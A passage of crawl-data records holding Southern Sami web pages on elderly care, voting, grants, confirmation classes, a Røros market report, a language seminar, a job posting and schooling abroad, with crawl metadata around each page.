sjïehtesjamme. Tjïelten voeresehoksesoejkesjisnie mejnie barkeminie edtja dam politihken væljoem jïh ambisjovnedaltesem buerkiestidh.\nSjeltien tjïelten voeresehoksesne hïejmedïenesje, åenehkstïjjeårrome, sjïere gåetieluhpieh, rehabiliteereme, healsoe- jïh skïemtjehokse sjïere gåetieluhpine, biejjiedarjome jïh feelemedïenesje\/rïjhkefeelemedïenesje. Mijjieh aaj hïejmebuerkiestæjja tjelmehts jïh bieljehts almetjidie.\nJeenjemes råajvarimmieh voeresehoksesne leah pryöveme daerpiesvoeti mietie. Sjïere viehkievuarjasjæjja goerehte jïh vuarjesje mah råajvarimmieh datne daarpesjh.\nHïejmedïenesje\nHïejmedïenesje barka guktie edtja maehtedh\njïjtjeraarehken jieledem jieledh sov jïjtje tsiehkiej mietie. Dïhte maahta v.g. årrodh:\nSujhteme\nJearsoesvoetealaarme\nBeapmoedistribusjovne\nViehkie gåetesne\/åenehkstïjjesijjie\nBiejjiedarjome\nFeelemedïenesje\/rïjhkefeelemedïenesje\nBarkijh\nHïejmedïenesjisnie ektievoeten åejvie, viehkieskïemtjesåjhterh jïh hokseviehkiehtæjjah.\nMijjen ulmieh\nattraktijve darjomem faaledh dovne utniejidie jïh barkijidie\nbuerie hoksem vedtedh guktie utnijh åadtjoeh jearsoes årromem sov jïjtje gåetesne\nvæjkeles jïh maehteles barkijh utnedh abpe dygnem\nOhtseme hïejmedïenesjen bïjre dellie viehkievuarjasjæjja daerpiesvoetem vuarjesje. Gaajhkh råajvarimmieh mah vadtasuvvieh maaksoem utnieh jïh makstaksan mietie reguleradamme.\nÅenehkstïjjesijjieh\nSjeltien tjïelte faala sijjiem åenehkstïjjesijjesne gusnie vihkielommes funksjovne lea dåarjoem, hoksem jïh rehabiliteeremem vedtedh, gosse skïemtjegåeteste båata jïh galka viht gåatan. Åenehkstïjjesijjie aaj sjyöhtehke jis nåakebe sjædta jïh hïehkeskïemtjehokse\/skïemtjehokse ij leah sjyöhtehke.\nViehkiem jallh målsomehoksem aaj åenehkstïjjesijjesne faalesåvva.\nBoelhkeste ÅENEHKSTÏJJESIJJESNE maahta kaanne guhkiem gåetesne årrodh.\nÅenehkstïjjesijjieh gååvnesieh daelie tjïelten sjïere årromegåetine voestes ieresne Stugan jïh Duvan Fredrikesne, mænngan kaanne sijjiem åådtje dejnie mubpine årromegåetine.\nSkïemtjesåjhtere daerpiesvoetem gorrede dåaktarinie gaskesadtedh.\nHïeljine jïh jïjjine hïehkebïjlen skïemtjesåjhtere stïeresne.\nUlmie lea vååjnesisnie nuepieh gaavnedh hijven loetemidie aajnealmetjen årroemasse.\nDaerpiesvoete åenehkstïjjesijjiem tjïelten viehkievuarjasjæjja vuarjesje. Daate sjædta hoksesoejkesjen tjïrrh.\nDatne maaksah 184 kr\/dygnen beapmoej jïh årromen åvteste.\nÅrrometïjje åenehkstïjjesijjesne joekehtsh.\nUssjedidh gosse åenehkstïjjesijjesne\nVaeltieh meatan jïjtje mïerhkeme vaarjoeh jïh hygienartihkelh (ij seangkoevaarjoeh)\nVaeltieh meatan sjyöhtehke daalhkeselæstoem, daalhkesh jïh resepth mah nuhtjh jïh viehkievierhtieh, v.g. rollatovre jïh stratjkomestovlem jïh inkontinensprodukth (v.g. raajhpesh)\nJuvrh luhpehts åenehkstïjjesæjjan buektedh.\nMaahtah tjïehtjelem mubpine juekedh.\nSMD - Skïemtjesåjhtere man Medisijnen Dïedte\nSMD lea Healsoe- jïh skïemtjehokselaaken mietie nænnoestamme funksjovnem mij edtja fïerhtene tjïeltesne gååvnesidh.\nMedisijnen ektievoetesne leah legitimeereme barkijh hoksesne jïh sujhtemisnie, dïhte sæjhta jiehtedh skïemtjesåjhterh, barkoeterapeuth jïh fysioterapeuth.\nGaajhkh gïeh årroeh tjïelten sjïere årromegåetine jallh leah hïejmeskïemtjehoksen skïemtjijh reaktam utnieh healsoe- jïh\nskïemtjehoksese bijjene skïemtjesåjhteredaltesisnie. Dïhte sæjhta jiehtedh datne skïemtjesåjhterem sujhtemedïedtine åtnah gïese maahtah bïeljelidh jis viehkiem daarpesjh medisijnen råajvarimmieh.\nGosse jåhtah sjïere årromegåatan jallh hïejmeskïemtjehoksese tjaalasåvva dellie datne dïervesjh dam skïemtjesåjhterem, barkoeterapeutem jïh fysioterapeutem giej dïedtem datne leah.\nGuktie kvaliteetem vihtiestidh dennie jienebe jienebe kvalifiseradamme medisijnen hoksesne jolle krïevemh barkiji maahtojde. Guktie maahtah vihtiestidh dïhte healsoe- jïh skïemtjehokse maam faalehte lea buerie jïh vihties gååvnese skïemtjesåjhtere man medisijnen dïedte (SMD).\nSMDen barkoe:\nVaaksjomedïedtem åtna healsoe- jïh skïemtjehoksesne tjïeltesne.\nEdtja bïhkedassh tseegkedh, aktualiseeredh jïh orrestidh guktie edtja hoksine\/sujhteminie barkedh guktie aajnealmetjasse vihtiestidh buerie jïh vihties hoksem.\nGïehtjede guktie journaalh - dokumentasjovnen skïemtjijedaatalaaken njoelkedassi mietie tjaalasovvedh.\nDaalhkesegïetedimmien rutijnh buerielaakan juhtieh.\nRutijnh darjodh sveehkemegïetedæmman jïh deahpadimmieh goerehtidh mah Inspektionen för vård och omsorg (IVO) saarnodh.\nGoerehte hoksebarkoem darjoemisnie SMD-funksjovnen laavenjassijste jïh moenehtsasse dejtie saarnodh.\nÅvtelhbodti hïejmeguassastalleme\nSjeltien tjïelte jïh primærehokse Sjeltien skïemtjeståaposne aktanieh prosjeekten bïjre \"Åvtelhbodti hïejmeguassastalleme\". Laavenjasse almetjh gïeh gåetesne årroeh gïeh eah hïejmedïenesjem jallh hïejmeskïemtjehoksem jïh 76 jallh 78 jaepien båeries.\nMijjieh barkebe ellies bïevnesh vedtedh ulmiedåahkan jïh ektie statistihkem guktie buerie soejkesjevåarome mijjen darjoeminie.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/asele.se\/saepmie\/hokse-viehkie-j%C3%AFh-daarjoe\/voereshokse\/","date":"2020-04-05T22:09:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371611051.77\/warc\/CC-MAIN-20200405213008-20200406003508-00257.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":516,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 11 March 2020\nKrirriem jïh persovnem tjaatsestidh\nVeeljemesïetelh gååvnesieh gaajhkene lehkesne gusnie maahtah tjaatsestidh jïh krirriej luvnie.\nKrirriem tjaatsestidh\nDatne voestes iereste krirriem tjaatsestidh. Krirrien nomme tjåådtje veeljemesïetelisnie. Jis ih gaavnh dov krirrien veeljemesïetelem, maahtah krirrien nommem tjaeledh gåaroes veeljemesïetelasse.\nPersovnetjaatsestimmie\nJis datne sïjhth sjïere krirrien kandidaate edtja veeljeme sjïdtedh, maahtah kroessem kandidaaten nommen åvtese veeljemesïetelisnie bïejedh. Maahtah ajve aktem kandidaatese kroessem bïejedh.\nMaahtah aaj persovnem tjaatsestidh, dellie krirrien nommem jïh kandidaaten nommem gåaroes veeljemesïetelasse tjaeledh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestidh\/krirriem-jih-persovnem-tjaatsestidh.html","date":"2020-04-10T01:55:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371883359.91\/warc\/CC-MAIN-20200410012405-20200410042905-00217.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":75,"character_repetition_ratio":0.14,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nMaahtah tseegkemedåarjoen bïjre ohtsedh 1. boelhkese: Åestije-, jïh dorjese\/dïenesjefokuse jïh\/jallh 2. boelhkese: Evtiedimmie- jïh sjïdtemeboelhke.\nSametinget gir tilskudd til utvikling av ordinære og særskilt tilrettelagte læremidler til grunnopplæringen.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2020-04-05T06:16:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00378.warc.gz","language":"sma","language_score":0.9996300936,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996300935745239}","num_words":101,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïese?\nSveerjen gærhkoe bööremem skyllemelïerehtæmman seedtie gaajhkide gïeh 14 jaepien båeries. Desnie nuepiem åådtje jeenem lïeredh jïjtjen bïjre jïh kristeles jaahkoen bïjre. Aaj geerve almetjh maehtieh skyllemelïerehtæmman bïeljelidh. Vielie bïevnesh skyllemelïerehtimmien bïjre dovne noeride jïh geerve almetjidie datne gaavnh Dov åålmege. https:\/\/www.svenskakyrkan.se\/sokforsamling\nJis sïjhth skyllemelïerehtimmiem saemiengïelesne jallh gööktine gïeline utnedh dov åålmegem bïeljelh maam vaajtelh.\nSkyllemelïerehtimmie skyllemefeestine galhkoe. Baakoe \"konfirmation\" lea jååhkesjimmie. Skyllemisnie åålmege dej skylliji åvteste rohkele jïh skyllije åådtje jïjtje bööremem vaestiedidh maam åadtjoeji joe laavkoemisnie: bööreme kristegassjine jieledh, Jupmelen lïhke.\nMaahta skyllemelïerehtimmien meatan årrodh jalhts ij leah laavkome. Maahta skyllemelïerehtimmien mietie lååvkesovvedh.\nGuktie?\nDah åålmegh gellie ovmessie såarhth skyllemelïerehtimmieh utnieh. Julevun åålmege öörnie skyllemejerkiem saemien noeride. Maahta skyllemelïerehtimmiem dåeriedidh akten aejkien våhkosne jallh akten hïeljen askesne lohkemejaepien mietie. Jallh maahtah aaj skyllemejarkan bïeljelidh, gusnie skyllemelïerehtimmie jïh tjåenghkies darjomh, goh vaanterdimmie, tjoejkeme j.n.v. Skyllemelïerehtimmesne hearra jïh dah mubpieh gïeh åålmegisnie berkieh dutnjien jïh dov gyhtjelassh jieleden bïjre vaestiedieh. Skyllemelïerehtimmesne jupmelegaagkestimmesne jïh orre aamhtesh lïeredh tjåenghkies digkiedimmine.\nSkyllemelïerehtimmie geerve almetjidie daamhtaj digkiedimmiedåehkesne geerve almetjidie meatan årroeh jallh hearrine persovneles soptsestalledh jaahkoen jïh jieleden bïjre.\nJis datne sïjhth skyllemelïerehtimmiem saemiengïelesne jallh gööktine gïeline utnedh dov åålmegem bïeljelh maam vaajtelh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.svenskakyrkan.se\/skylledh","date":"2020-04-08T20:25:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371824409.86\/warc\/CC-MAIN-20200408202012-20200408232512-00497.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":188,"character_repetition_ratio":0.129,"word_repetition_ratio":0.034,"special_characters_ratio":0.126,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Aina Haugom Nordfjell jïh leam 24 jaepien båeries. Manne Røroseste båatam gusnie abpe maana- jïh noereskuvlem veedtsim, jïh aaj jåarhkeskuvlem åvtelen eajhnadovvim maam akt orre pryövedh. Noerhte-Nöörje lij akte laantebielie mïsse lim tjetskehke, jïh lissine lim govleme Romsan lij akte joekoen hijven saemien studeentebyjrese. Romsese juhtedh jïh desnie golme jaepieh årrodh jih bachelorem vaeltedh faagesne Stuvreme, innovasjovne jïh maarhkede, lij dan åvteste akte aelhkie veeljeme.\nManne båatsoefuelhkesne byjjenamme, jïh båatsoe iktesth mov veaksahkommes baante orreme mov saemien identiteetese. Vaerie lea mov hïejme jïh båatsoe lea munnjien aktem perspektijvem jieliedasse vadteme maam im lim sïjhteme åadtjodh jeatjah lehkesne. Røros akte båeries gruvavoene, veaksehks nöörjen kultuvrine, jïh mannasinie manne mov byjjenimmesne leam gellien aejkien jueriedisnie orreme jïjtjene identiteeten bïjre. Daan biejjien maahtam jiehtedh manne akte garmeres saemien gujne aktine juelkine nöörjen kultuvresne jïh aktine juelkine saemien kultuvresne.\nSov identiteetem gaavnedh lea akte fealadimmie orreme maam manne vïenhtem jeenjesh tjïrrehtieh saaht mehtie maadtoste båata, jïh lea naakede man bijre sïjhtem soptsestidh jeatjah noere almetjidie mah dagke seamma dååjrehtimmiem utnieh. Manne sïjhtem vuesiehtidh dam joekoen åajvoeh gellievoetem maam Saepmie maahta faalehtidh, jïh aerpien bïjre soptsestidh maam mijjieh buektiehtamme vaarjelidh dan gellie tjuetie jaepieh. Daah leah mov håhkoeh jïh veanhtadimmieh tsïeglejaapan, jïh manne tjarke aavodem daejnie nïerhkedh!\nNjieljie varke gyhtjelassh:\n1. Maam 10 jaepine darjoeh?\n10 jaepine manne gegkestem manne leam vuajneme jïh dorjeme gellieh dejstie aatijste mej bïjre nïekedem. Mov håhkoe lea hæhtjoem utnedh Sveitsesne, lïereme feelam tjoejehtidh, gaptam gåarodh bielelen viehkiem tjidtjeste utnedh jïh manne leam ræjhkoes.\n2. Maam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nManne mån sïjhtem dam mejjesne vaestiedidh, men im sïjhth bååstede flöörtadidh.\n3. Mah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nMaam IM sïjhth vuartasjidh? Manne dan hååkene raajroej mietie goh, men daelie joekoen jïjnjem raajroem RuPaul's Dragrace vuartesjem. Daate raajroe munnjien raaktan dam veahkam draameste vadta maam aarkebiejjien daarpesjem.\n4. Maam saemien åahpetjidie datne buaresjh?\nIm daejrieh mejtie maahta naakenem buarasjidh mij ij leah vielie mijjen gaskem, men Elsa Laula Renbergem lyjhkem! Akte gujne heartoeh mïelkesne jïh måara njuenesne.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/aina-haugom-nordfjell-4\/","date":"2020-04-08T01:08:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371807538.83\/warc\/CC-MAIN-20200408010207-20200408040707-00081.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":332,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naan gille båvvaj raejeste 2008 daan jaepien raajan, gusnie gaatoeh lin dïeves almetjijstie njieljie biejjieh, Jåvlemaarhna akte eensi almetjefeeste sjïdteme. Røros aadtjen staatusem åådtjeme goh reeremetjïelte jïh lea histovrijen tjïrrh akte vihkeles saemien dajve orreme. Mijjieh dan åvteste jåvlemaarhnesne mïnnimh juktie vuartasjidh guktie dïhte saemien lij våajnoes gaatosne.\nGelliej luhkie doekemebåvvaj gaskem dïeves tjohpijste, dueljijste, guelijste, gejhkiebearkoste, nejpijste jïh jïjnje vielie mijjieh ajve göökte båvvah gaavnimh mah lin saemien.Rørosrein sov båvvine bearkoevaaroejgujmie jïh Ole Pentha mij gejhkiebearkoem jïh jïjnjem vielie duaka. Pentha sov dorjesh maarhkesne doekeme njieljie jaepieh jïh lea joekoen madtjeles doekeminie.\n– Almetjh jïjnjh bearkoevaaroeh åestieh jïh dah leah dovne murreds jïh åestemevyljehke, Pentha soptseste mij maaje lij sïjhteme jienebh saemien båvvah lin maarhnesne orreme.\nRøros, staare mij åajvoeh sijjiem åtna UNESCO:n vaarjelimmielæstosne, vielie goh 1 millijovne turisth guessine åådtje fïerhten jaepien. Stoerre bielieh åesiestimmiesuerkeste bïerjestaaresne jieliemassem åadtjoeh turistijste. Aaj jåvlemaarhnesne meehti govledh russiske, kinesiske, eengelske jïh gellie jeatjah gïelh gaatojne.\nGaatesjen mijjieh idtjimh jienebh saemien båvvah vuejnieh, dan åvteste daesnie akte stoerre nuepie saemien vætnoem jïh kultuvrem vuesiehtidh abpe veartenasse, SÁMi Ođasmagasiidnan reportere vihteste, mij gegkeste jienebh saemien båvvah båetieh mubpien jaepien.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/javlemaarhna-rorosesne-10-jaepieh\/","date":"2020-06-01T12:30:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347417746.33\/warc\/CC-MAIN-20200601113849-20200601143849-00152.warc.gz","language":"sma","language_score":0.9999688864,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999688863754272}","num_words":182,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10.10 - 15:00\nSaemiedigkieh gïeleseminaarem öörnedieh Anarisnie golken 9. -10. b. 2019, mij lea joekoen dejtie mah saemien gïeligujmie berkieh: jarkoestæjjah, toelhkh jallh jeatjah gïelebarkijh. Seminaare öörnesåvva laavenjostosne Saemiedigkiej gaskem Nöörjesne, Sveerjesne jïh Såevmesne jïh aaj Saemien Gïelegaaltije, jïh lea akte bielie guktie saemiedigkieh EN:n gaskenasjonaale jaepiem aalkoealmetjegielide våajnoes darjoeh.\nDaelie programme gaervies jïh seminaaresne sïjhth håalomh jïh digkiedimmieh govledh jarkoestæjjijste, toelhkijste jïh jeatjah gïelebarkijijstie. Åejviehåaloje seminaaresne lea Jussi Ylikoski, professovre saemien gielesne universiteetesne Oulusne. Håalomem nomme lea Sámegiela eallin, dat lea biekka ja cizáža: eará gielaid váikkuhus sámegielaide jïh lea guktie jeatjah gïelh saemien gïelh tsevtsieh. Teema lea sjyöhtehke, joekoen gosse laavenjostoem måjhtele gïelen, jarkoestimmien jïh jeatjah gïelebarkoen bïjre.\nSeminaare sæjhta aaj teknihkeles vuekieh åehpiedehtedh mah leah evtiesovveme juktie saemien gïelide dåarjoehtidh. Giellatekno Universiteeteste Romsesne jarkoestimmiedïrregh jïh jeatjah teknihkeles vuekieh åehpiedahta mah maehtieh viehkine årrodh gïelebarkosne. Jarkoestæjja jïh gïelebarkije Anne-Márjá Guttorm Graven håalome lea jarkoestimmien jïh praktihkeles åtnoen bïjre teknologeles dïrregijstie. Gosse barka dïhte gaskem jeatjah jarkoestimmiemojhtesem nuhtjie. Seminaaresne åadtjobe aaj gïelebarkiji aarkebijjien bïjre govledh; Merja Fofonoff, skoltesaemien jarkoestæjja, buerkeste guktie lea skoltesaemien gïeline barkedh mij lea akte joekoen håvhtadihks gïele. Bijjiebaakoe håaloemasse lea \"Go sánit eai leat doarvái\". Rap-artiste Ailu Valle soptseste guktie saemien rap-teeksth reakasuvvieh, jïh redaktööre-dorjehtæjja Heli Huovinen soptseste guktie gïelejieliehtimmine lyhkese. Jis ïedtjem gïelesåjhtose åtnah, dagke ïedtjem åtnah Kaarina Vuolab-Lohin håalomem govledh, lektovre Universiteetesne Oulusne. Altese åehpiedehteme lea kasusåtnoen bïjre noerhtesaemien gïelesne.\nDaate ajve akte bielie programmeste maam Saemiedigkieh sijhtieh faalehtidh. Sijhtebe aavojne gaajhkh gïeleïedtjeladtjh bööredidh gïeleseminaarese Anarisnie 9. -10. 10. 2019.\nSeminaare toelhkestamme sjædta noerhte-, anáren-, luvlie-, julev- jïh åarjelsaemien gïelide.\nJis sveerjen bieleste jïh sïjhth meatan årrodh, maahtah gaskesadtedh email@example.com. Sveerjen Saemiedigkie skovhtem öörnede seminaarese.\nVielie bïevnesh:","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Oeoernedimmieh\/Saemiedigkieh-gieleseminaarem-Inarisnie","date":"2020-05-26T02:08:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390442.29\/warc\/CC-MAIN-20200526015239-20200526045239-00553.warc.gz","language":"sma","language_score":0.9999521971,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999521970748901}","num_words":264,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barkoelaavenjassh - Barggut\nBarkoen åejvielaavenjassh:\n- Raeriestimmieh Vaajmoegïelesne soejkesjidh jïh bæjjese fulkedh\n- Raerieh vedtedh jïh Saemiedigkien gïeleråajvarimmieh eevtjedh åarjelsaemien aamhtesi bïjre\n- Gïeleråajvarimmiejgujmie nïerhkedh jïh vihties gïeleråajvarimmieh bæjjese fulkedh\n- Konferaansh jïh seminaarh soejkesjidh jïh öörnedidh\n- Gaskesem jïh tjåanghkoeh årrojigujmie hööltedh\n- Aamhtesereereme, reekteme jïh evalueradimmie\n- Jeatjah faageles evtiedimmie Saemiedigkien gïelefaageles barkosne\nBarkose aaj jeatjah laavenjassh maehtieh bïejesovvedh mah Saemiedigkien barkose govlesuvvieh.\nTjuara barkosne fealadidh.\nMaahtoeh\nBarkose daerpies ööhpehtimmine jïlleskuvleste\/universiteeteste unnemes bachelordaltesisnie, siebriedahkefaagen jallh jeatjah sjyöhtehke faagesuerkiej sisnjeli jallh faagesuerkiej sisnjeli mah leah gïelese ektiedamme.\nDïhte guhte barkoem åådtje tjuara saemien jïh nöörjen maehtedh, njaalmeldh jïh tjaaleldh. Sïjhtebe leavloem bïejedh daajrose åarjelsaemien gïelesne. Lissine daerpies daajrojne saemien siebriedahketsiehkiej bïjre, jïh joekoen vihkeles siebriedahkem jïh gïeletsiehkiem åarjelsaemien dajvine damtedh.\nHaarjanimmie jïh dååjrehtimmie barkoste gïelereereminie jïh byögkeles reereminie aaj vihkeles.\nLissine leavloe bïejesåvva daase:\n- Væjkele gaskesadtedh jïh laavenjostedh\n- Hijven njaalmeldh jïh tjaaleldh buektememaahtoe\n- Maahta jïjtjeraarehke jïh ulmien vööste barkedh\n- Faegneles\n- Ohtsije barkose sjeahta\nBaalhka- jïh barkoetsiehkieh\nBaalhka lea staaten regulatijven mietie barkoekodesne 1408 voesteskonsulente jallh 1434 raeriestæjja.\n- Baalhkeste 2 % Statens pensjonskassese geasalguvvieh\n- Hijven lööneme- jïh pensjovneöörnegh Statens pensjonskassesne\n- Fleksijbele barkoetïjje jïh jeatjah hijven tryjjesvoeteöörnegh\n- Hijven barkoebyjrese gusnie datne akte dejstie dåarjoehtæjjijste\nSaemiedigkien reereme edtja dan gåhkese gåarede gellievoetem årroejinie speejjeldidh. Akte barkijepolitihkeles ulmie lea balaansem\nbuektiehtidh gosse lea aalteren jïh tjoelen bïjre, jïh almetjh unnebelåhkoe- jïh aalkoealmetjemaadtojne dåårrehtidh.\nSaemiedigkien lea latjkoe Inkluderende Arbeidsliv (IA), jïh krööhkeste barkoetsiehkide sjïehteladtedh fïereguhten barkijasse.\nGaajhkesidie mah Finnmarhkesne jïh Noerhte-Romsesne årroeminie 10 % giehpiedimmie studijelaajkoste Statens lånekassesne lea faamosne fïerhten jaepien 25 000 kråvnaj raajan, jïh sjïere skaehtiegiehpiedimmie.\nLissine barkijh seehtemem åådtje sïejhme laaki, njoelkedassi jïh latjkoej mietie, daan nuelesne baalhka jïh pensjovne, jïh 6 askh pryövetïjje.\nGaskese\nVielie bïevnesh barkoen bïjre åadtjodh jis gaskesadth:\n- Faageåvtehke Per-Johannes Marainen\n- Tlf. +47 464 30 024, firstname.lastname@example.org\nOhtseme\nOhtsije edtja væhnadassh jïh vihtienassh elektrovneles seedtedh daan svaalhtesen baaktoe sæjrosne «Søk stillingen».\nMænngan ohtsememierie lea nåhkeme, byögkeles ohtsijelæstoe dorjesåvva. Byögkelesvoetelaaken § 25 mietie maahta bïevnesh ohtsijen bïjre bæjhkoehtidh jalhts ohtsije leah maadteme ij satnem ohtsijelæstosne tjaeledh.\nOhtsememierie\nSuehpeden 31.b. 2020","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Gaaaroes-barkoeh\/2.-aejkien-baejhkoehtimmie-Voesteskonsulente-Raeriestaejja-Gieleraaajvarimmie","date":"2020-05-27T12:46:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00569.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":309,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ööhpehtimmie ålkoelaantesne\nNöörjen skuvlh ålkoelaantesne maehtieh syökedh jååhkesjimmien bïjre privaateskuvlelaaken mietie. Adresselæstoe jååhkesjamme maadthskuvlide jïh jåarhkeskuvlide lea Oslo jïh Akershusen Fylhkenålman nedtesæjrojne. Jååhkesjamme skuvlh leah Europesne, Afrijhkesne, Asijesne jïh Åarjel-Amerijhkesne. Ööhpehtimmiedirektovraate vaaksjomefaamoem åtna, jïh beetnehdåarjoeh maaksa dejtie jååhkesjamme skuvlide.\nPrivaateskuvlelaaken mietie dle learohkh reaktam utnieh sjïereööhpehtimmiem jïh pedagogeles-psykologeles dïenesjem åadtjodh. Oslo jïh Akershusen Fylhkenålma daam dïenesjem reerie, jïh Ööhpehtimmiedirektovraate lea klååkemesuerkie. PP-dïenesje ålkoelaantesne lea dovne maadthskuvlen jïh jåarhkeskuvlen learoehkidie.\nMaanah aarhskuvleaalterisnie eah laakeviedteldihkie reaktoem utnieh pedagogeles-psykologeles dïenesjem åadtjodh.\nOslo jïh Akershusen Fylhkenålman nedtesæjrojne vielie bïevnesh PP-dïenesjen bïjre ålkoelaantesne gaavnh.\nStipende jïh dåarjoeöörnegh studentide ålkoelaantesne\nMaahtah sjïere beetnehdåarjoem åadtjodh jåarhkeööhpehtæmman gellene lehkesne abpe veartenisnie. FIVAI (Vest-Agderen Fylhkenålma, Internasjonalisering) jienebh öörnegh utnieh mejtie Vest-Agderen Fylhkenålma reerie.\nMaahtah ööhpehtimmieh jïh dåarjoeöörnegh ohtsedh FIVAI'en tjïrrh saaht gusnie datne laantesne årroeh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.fylkesmannen.no\/sma\/Maanagierte-jih-lierehtimmie\/Oohpehtimmie-alkoelaantesne\/","date":"2020-05-29T07:01:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347402457.55\/warc\/CC-MAIN-20200529054758-20200529084758-00385.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":126,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien\nBïevnesh jïh dïrregh saemien gïeline jïh kultuvreperspektijvine\nDemensesoejkesjisnie 2020 jïh nasjonaale faageles njoelkedassesne demensen bïjre daerpiesvoeth åvtese geasalguvvieh juktie råajvarimmiejgujmie daerpies sjïehtedimmine nïerhkedh, gaskem jeatjah almetjidie saemien maadtojne mah demensem evtedeminie. Prosjekte Aldring og helse, laavenjostosne jeatjah vierhtieinstaansigujmie, bïevnesh jïh dïrregh evtedeminie jïh sjïehtedeminie mah leah stuvreme almetji vööste mej saemien gïele- jïh kultuvremaadtoe. Barkoe lea stillemen mietie Healsoedirektoraateste jïh lea akte bielie Demensesoejkesjistie 2020.\nBïeljelh maaje materijellen bïjre mah leah evtiesovveme desnie gusnie datne 